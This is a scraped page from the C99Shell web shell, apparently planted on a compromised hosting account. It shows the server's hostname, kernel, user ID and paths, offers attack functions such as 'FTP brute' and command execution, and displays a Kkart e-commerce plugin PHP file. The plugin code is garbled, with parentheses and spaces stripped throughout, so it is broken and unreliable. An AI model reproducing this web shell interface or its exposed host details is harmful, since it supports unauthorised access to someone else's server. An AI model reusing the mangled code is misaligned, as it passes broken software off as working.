!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/includes/   drwxr-xr-x
Free 289.29 GB of 429.69 GB (67.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     kkart-conditional-functions.php (11.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Kkart Conditional Functions
 *
 * Functions for determining the current query/page.
 *
 * @package     Kkart\Functions
 * @version     2.3.0
 */

use Automattic\Jetpack\Constants;

if ( ! 
defined'ABSPATH' ) ) {
    exit;
}

/**
 * Is_kkart - Returns true if on a page which uses Kkart templates (cart and checkout are standard pages with shortcodes and thus are not included).
 *
 * @return bool
 */
function is_kkart() {
    return 
apply_filters'is_kkart'is_shop() || is_product_taxonomy() || is_product() );
}

if ( ! 
function_exists'is_shop' ) ) {

    
/**
     * Is_shop - Returns true when viewing the product type archive (shop).
     *
     * @return bool
     */
    
function is_shop() {
        return ( 
is_post_type_archive'product' ) || is_pagekkart_get_page_id'shop' ) ) );
    }
}

if ( ! 
function_exists'is_product_taxonomy' ) ) {

    
/**
     * Is_product_taxonomy - Returns true when viewing a product taxonomy archive.
     *
     * @return bool
     */
    
function is_product_taxonomy() {
        return 
is_taxget_object_taxonomies'product' ) );
    }
}

if ( ! 
function_exists'is_product_category' ) ) {

    
/**
     * Is_product_category - Returns true when viewing a product category.
     *
     * @param  string $term (default: '') The term slug your checking for. Leave blank to return true on any.
     * @return bool
     */
    
function is_product_category$term '' ) {
        return 
is_tax'product_cat'$term );
    }
}

if ( ! 
function_exists'is_product_tag' ) ) {

    
/**
     * Is_product_tag - Returns true when viewing a product tag.
     *
     * @param  string $term (default: '') The term slug your checking for. Leave blank to return true on any.
     * @return bool
     */
    
function is_product_tag$term '' ) {
        return 
is_tax'product_tag'$term );
    }
}

if ( ! 
function_exists'is_product' ) ) {

    
/**
     * Is_product - Returns true when viewing a single product.
     *
     * @return bool
     */
    
function is_product() {
        return 
is_singular( array( 'product' ) );
    }
}

if ( ! 
function_exists'is_cart' ) ) {

    
/**
     * Is_cart - Returns true when viewing the cart page.
     *
     * @return bool
     */
    
function is_cart() {
        
$page_id kkart_get_page_id'cart' );

        return ( 
$page_id && is_page$page_id ) ) || Constants::is_defined'KKART_CART' ) || kkart_post_content_has_shortcode'kkart_cart' );
    }
}

if ( ! 
function_exists'is_checkout' ) ) {

    
/**
     * Is_checkout - Returns true when viewing the checkout page.
     *
     * @return bool
     */
    
function is_checkout() {
        
$page_id kkart_get_page_id'checkout' );

        return ( 
$page_id && is_page$page_id ) ) || kkart_post_content_has_shortcode'kkart_checkout' ) || apply_filters'kkart_is_checkout'false ) || Constants::is_defined'KKART_CHECKOUT' );
    }
}

if ( ! 
function_exists'is_checkout_pay_page' ) ) {

    
/**
     * Is_checkout_pay - Returns true when viewing the checkout's pay page.
     *
     * @return bool
     */
    
function is_checkout_pay_page() {
        global 
$wp;

        return 
is_pagekkart_get_page_id('order_pay')) && ! empty( $_GET['order_id'] );
    }
}

if ( ! 
function_exists'is_kkart_endpoint_url' ) ) {

    
/**
     * Is_kkart_endpoint_url - Check if an endpoint is showing.
     *
     * @param string|false $endpoint Whether endpoint.
     * @return bool
     */
    
function is_kkart_endpoint_url$endpoint false ) {
        global 
$wp;

        
$kkart_endpoints KKART()->query->get_query_vars();

        if ( 
false !== $endpoint ) {
            if ( ! isset( 
$kkart_endpoints$endpoint ] ) ) {
                return 
false;
            } else {
                
$endpoint_var $kkart_endpoints$endpoint ];
            }

            return isset( 
$wp->query_vars$endpoint_var ] );
        } else {
            foreach ( 
$kkart_endpoints as $key => $value ) {
                if ( isset( 
$wp->query_vars$key ] ) ) {
                    return 
true;
                }
            }

            return 
false;
        }
    }
}

if ( ! 
function_exists'is_account_page' ) ) {

    
/**
     * Is_account_page - Returns true when viewing an account page.
     *
     * @return bool
     */
    
function is_account_page() {
        
$page_id kkart_get_page_id'myaccount' );

        return ( 
$page_id && is_page$page_id ) ) || kkart_post_content_has_shortcode'kkart_my_account' ) || apply_filters'kkart_is_account_page'false );
    }
}

if ( ! 
function_exists'is_view_order_page' ) ) {

    
/**
     * Is_view_order_page - Returns true when on the view order page.
     *
     * @return bool
     */
    
function is_view_order_page() {
        global 
$wp;

        
$page_id kkart_get_page_id'myaccount' );

        return ( 
$page_id && is_page$page_id ) && isset( $wp->query_vars['view-order'] ) );
    }
}

if ( ! 
function_exists'is_edit_account_page' ) ) {

    
/**
     * Check for edit account page.
     * Returns true when viewing the edit account page.
     *
     * @since 2.5.1
     * @return bool
     */
    
function is_edit_account_page() {
        global 
$wp;

        
$page_id kkart_get_page_id'myaccount' );

        return ( 
$page_id && is_page$page_id ) && isset( $wp->query_vars['edit-account'] ) );
    }
}

if ( ! 
function_exists'is_order_received_page' ) ) {

    
/**
     * Is_order_received_page - Returns true when viewing the order received page.
     *
     * @return bool
     */
    
function is_order_received_page() {
        global 
$wp;

        
$page_id kkart_get_page_id'checkout' );

        return 
apply_filters'kkart_is_order_received_page', ( $page_id && is_page$page_id ) && isset( $wp->query_vars['order-received'] ) ) );
    }
}

if ( ! 
function_exists'is_add_payment_method_page' ) ) {

    
/**
     * Is_add_payment_method_page - Returns true when viewing the add payment method page.
     *
     * @return bool
     */
    
function is_add_payment_method_page() {
        global 
$wp;

        
$page_id kkart_get_page_id'myaccount' );

        return ( 
$page_id && is_page$page_id ) && ( isset( $wp->query_vars['payment-methods'] ) || isset( $wp->query_vars['add-payment-method'] ) ) );
    }
}

if ( ! 
function_exists'is_lost_password_page' ) ) {

    
/**
     * Is_lost_password_page - Returns true when viewing the lost password page.
     *
     * @return bool
     */
    
function is_lost_password_page() {
        global 
$wp;

        
$page_id kkart_get_page_id'myaccount' );

        return ( 
$page_id && is_page$page_id ) && isset( $wp->query_vars['lost-password'] ) );
    }
}

if ( ! 
function_exists'is_ajax' ) ) {

    
/**
     * Is_ajax - Returns true when the page is loaded via ajax.
     *
     * @return bool
     */
    
function is_ajax() {
        return 
function_exists'wp_doing_ajax' ) ? wp_doing_ajax() : Constants::is_defined'DOING_AJAX' );
    }
}

if ( ! 
function_exists'is_store_notice_showing' ) ) {

    
/**
     * Is_store_notice_showing - Returns true when store notice is active.
     *
     * @return bool
     */
    
function is_store_notice_showing() {
        return 
'no' !== get_option'kkart_demo_store''no' );
    }
}

if ( ! 
function_exists'is_filtered' ) ) {

    
/**
     * Is_filtered - Returns true when filtering products using layered nav or price sliders.
     *
     * @return bool
     */
    
function is_filtered() {
        return 
apply_filters'kkart_is_filtered', ( countKKART_Query::get_layered_nav_chosen_attributes() ) > || isset( $_GET['max_price'] ) || isset( $_GET['min_price'] ) || isset( $_GET['rating_filter'] ) ) ); // WPCS: CSRF ok.
    
}
}

if ( ! 
function_exists'taxonomy_is_product_attribute' ) ) {

    
/**
     * Returns true when the passed taxonomy name is a product attribute.
     *
     * @uses   $kkart_product_attributes global which stores taxonomy names upon registration
     * @param  string $name of the attribute.
     * @return bool
     */
    
function taxonomy_is_product_attribute$name ) {
        global 
$kkart_product_attributes;

        return 
taxonomy_exists$name ) && array_key_exists$name, (array) $kkart_product_attributes );
    }
}

if ( ! 
function_exists'meta_is_product_attribute' ) ) {

    
/**
     * Returns true when the passed meta name is a product attribute.
     *
     * @param  string $name of the attribute.
     * @param  string $value of the attribute.
     * @param  int    $product_id to check for attribute.
     * @return bool
     */
    
function meta_is_product_attribute$name$value$product_id ) {
        
$product kkart_get_product$product_id );

        if ( 
$product && method_exists$product'get_variation_attributes' ) ) {
            
$variation_attributes $product->get_variation_attributes();
            
$attributes           $product->get_attributes();
            return ( 
in_array$namearray_keys$attributes ), true ) && in_array$value$variation_attributes$attributes$name ]['name'] ], true ) );
        } else {
            return 
false;
        }
    }
}

if ( ! 
function_exists'kkart_tax_enabled' ) ) {

    
/**
     * Are store-wide taxes enabled?
     *
     * @return bool
     */
    
function kkart_tax_enabled() {
        return 
apply_filters'kkart_tax_enabled'get_option'kkart_calc_taxes' ) === 'yes' );
    }
}

if ( ! 
function_exists'kkart_shipping_enabled' ) ) {

    
/**
     * Is shipping enabled?
     *
     * @return bool
     */
    
function kkart_shipping_enabled() {
        return 
apply_filters'kkart_shipping_enabled'get_option'kkart_ship_to_countries' ) !== 'disabled' );
    }
}

if ( ! 
function_exists'kkart_prices_include_tax' ) ) {

    
/**
     * Are prices inclusive of tax?
     *
     * @return bool
     */
    
function kkart_prices_include_tax() {
        return 
kkart_tax_enabled() && apply_filters'kkart_prices_include_tax'get_option'kkart_prices_include_tax' ) === 'yes' );
    }
}

/**
 * Simple check for validating a URL, it must start with http:// or https://.
 * and pass FILTER_VALIDATE_URL validation.
 *
 * @param  string $url to check.
 * @return bool
 */
function kkart_is_valid_url$url ) {

    
// Must start with http:// or https://.
    
if ( !== strpos$url'http://' ) && !== strpos$url'https://' ) ) {
        return 
false;
    }

    
// Must pass validation.
    
if ( ! filter_var$urlFILTER_VALIDATE_URL ) ) {
        return 
false;
    }

    return 
true;
}

/**
 * Check if the home URL is https. If it is, we don't need to do things such as 'force ssl'.
 *
 * @since  2.4.13
 * @return bool
 */
function kkart_site_is_https() {
    return 
false !== strstrget_option'home' ), 'https:' );
}

/**
 * Check if the checkout is configured for https. Look at options, WP HTTPS plugin, or the permalink itself.
 *
 * @since  2.5.0
 * @return bool
 */
function kkart_checkout_is_https() {
    return 
kkart_site_is_https() || 'yes' === get_option'kkart_force_ssl_checkout' ) || class_exists'WordPressHTTPS' ) || strstrkkart_get_page_permalink'checkout' ), 'https:' );
}

/**
 * Checks whether the content passed contains a specific short code.
 *
 * @param  string $tag Shortcode tag to check.
 * @return bool
 */
function kkart_post_content_has_shortcode$tag '' ) {
    global 
$post;

    return 
is_singular() && is_a$post'WP_Post' ) && has_shortcode$post->post_content$tag );
}

/**
 * Check if reviews are enabled.
 *
 * @since 3.6.0
 * @return bool
 */
function kkart_reviews_enabled() {
    return 
'yes' === get_option'kkart_enable_reviews' );
}

/**
 * Check if reviews ratings are enabled.
 *
 * @since 3.6.0
 * @return bool
 */
function kkart_review_ratings_enabled() {
    return 
kkart_reviews_enabled() && 'yes' === get_option'kkart_enable_review_rating' );
}

/**
 * Check if review ratings are required.
 *
 * @since 3.6.0
 * @return bool
 */
function kkart_review_ratings_required() {
    return 
'yes' === get_option'kkart_review_rating_required' );
}

/**
 * Check if a CSV file is valid.
 *
 * @since 3.6.5
 * @param string $file       File name.
 * @param bool   $check_path If should check for the path.
 * @return bool
 */
function kkart_is_file_valid_csv$file$check_path true ) {
    
/**
     * Filter check for CSV file path.
     *
     * @since 3.6.4
     * @param bool $check_import_file_path If requires file path check. Defaults to true.
     */
    
$check_import_file_path apply_filters'kkart_csv_importer_check_import_file_path'true );

    if ( 
$check_path && $check_import_file_path && false !== stripos$file'://' ) ) {
        return 
false;
    }

    
/**
     * Filter CSV valid file types.
     *
     * @since 3.6.5
     * @param array $valid_filetypes List of valid file types.
     */
    
$valid_filetypes apply_filters(
        
'kkart_csv_import_valid_filetypes',
        array(
            
'csv' => 'text/csv',
            
'txt' => 'text/plain',
        )
    );

    
$filetype wp_check_filetype$file$valid_filetypes );

    if ( 
in_array$filetype['type'], $valid_filetypestrue ) ) {
        return 
true;
    }

    return 
false;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0046 ]--